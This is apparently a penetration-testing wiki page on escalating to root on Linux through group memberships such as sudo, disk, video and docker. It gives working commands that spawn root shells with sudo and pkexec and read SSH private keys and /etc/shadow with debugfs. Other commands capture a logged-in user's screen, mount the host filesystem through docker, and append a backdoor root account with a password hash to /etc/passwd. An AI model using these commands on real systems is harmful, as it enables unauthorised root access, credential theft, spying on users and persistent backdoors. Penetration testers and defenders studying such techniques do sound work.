# Interesting Groups - Linux PE

## Sudo/Admin Groups

### **PE - Method 1**

**Sometimes**, **by default \(or because some software needs it\)** inside the **/etc/sudoers** file you can find some of these lines:

```bash
# Allow members of group sudo to execute any command
%sudo	ALL=(ALL:ALL) ALL

# Allow members of group admin to execute any command
%admin 	ALL=(ALL:ALL) ALL
```

This means that **any user that belongs to the group sudo or admin can execute anything as sudo**.

If this is the case, to **become root you can just execute**:

```text
sudo su
```

### PE - Method 2

Find all suid binaries and check if there is the binary **Pkexec**:

```bash
find / -perm -4000 2>/dev/null
```

If you find that the binar**y pkexec is a SUID** binary and you belong to **sudo** or **admin**, you could probably execute binaries as sudo using `pkexec`.  
This is because typically those are the groups inside the **polkit policy**. This policy basically identifies which groups can use `pkexec`. Check it with:

```bash
cat /etc/polkit-1/localauthority.conf.d/*
```

There you will find which groups are allowed to execute **pkexec** and **by default** in some linux disctros the groups **sudo** and **admin** appear.

To **become root you can execute**:

```bash
pkexec "/bin/sh" #You will be prompted for your user password
```

If you try to execute **pkexec** and you get this **error**:

```bash
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```

**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**:

{% code title="session1" %}
```bash
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session
```
{% endcode %}

{% code title="session2" %}
```bash
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec
```
{% endcode %}

## Wheel Group

**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line:

```text
%wheel	ALL=(ALL:ALL) ALL
```

This means that **any user that belongs to the group wheel can execute anything as sudo**.

If this is the case, to **become root you can just execute**:

```text
sudo su
```

## Shadow Group

Users from the **group shadow** can **read** the **/etc/shadow** file:

```text
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```

So, read the file and try to **crack some hashes**.

## Disk Group

 This privilege is almost **equivalent to root access** as you can access all the data inside of the machine.

Files:`/dev/sd[a-z][1-9]`

```bash
df -h #Find where "/" is mounted
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
```

Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do:

```bash
debugfs -w /dev/sda1
debugfs:  dump /tmp/asd1.txt /tmp/asd2.txt
```

However, if you try to **write files owned by root** \(like `/etc/shadow` or `/etc/passwd`\) you will have a "**Permission denied**" error.

## Video Group

Using the command `w` you can find **who is logged on the system** and it will show an output like the following one:

```bash
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
yossi    tty1                      22:16    5:13m  0.05s  0.04s -bash
moshe    pts/1    10.10.14.44      02:53   24:07   0.06s  0.06s /bin/bash
```

The **tty1** means that the user **yossi is logged physically** to a terminal on the machine.

The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size`

```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```

To **open** the **raw image** you can use **GIMP**, select the **`screen.raw`** file and select as file type **Raw image data**:

![](../../../.gitbook/assets/image%20%28208%29.png)

Then modify the Width and Height to the ones used on the screen and check different Image Types \(and select the one that shows better the screen\):

![](../../../.gitbook/assets/image%20%28295%29.png)

## Root Group

It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges...

**Check which files root members can modify**:

```bash
find / -group root -perm -g=w 2>/dev/null
```

## Docker Group

You can **mount the root filesystem of the host machine to an instance’s volume**, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine.

```bash
docker image #Get images from the docker service

#Get a shell inside a docker container with access as root to the filesystem
docker run -it --rm -v /:/mnt <imagename> chroot /mnt bash
#If you want full access from the host, create a backdoor in the passwd file
echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/passwd

#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
```

Finally, if you don't like any of the suggestions of before, or they aren't working for some reason \(docker api firewall?\) you could always try to **run a privileged container and escape from it** as explained here:

{% page-ref page="../docker-breakout.md" %}

If you have write permissions over the docker socket read [**this post about how to escalate privileges abusing the docker socket**](../#writable-docker-socket)**.**

{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}

{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}

## lxc/lxd Group

{% page-ref page="./" %}

## Adm Group

Usually **members** of the group **`adm`** have permissions to **read log** files located inside _/var/log/_.  
Therefore, if you have compromised a user inside this group you should definitely take a **look to the logs**.

## Auth group

Inside OpenBSD the **auth** group usually can write in the folders _**/etc/skey**_ and _**/var/db/yubikey**_ if they are used.  
These permissions may be abused with the following exploit to **escalate privileges** to root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)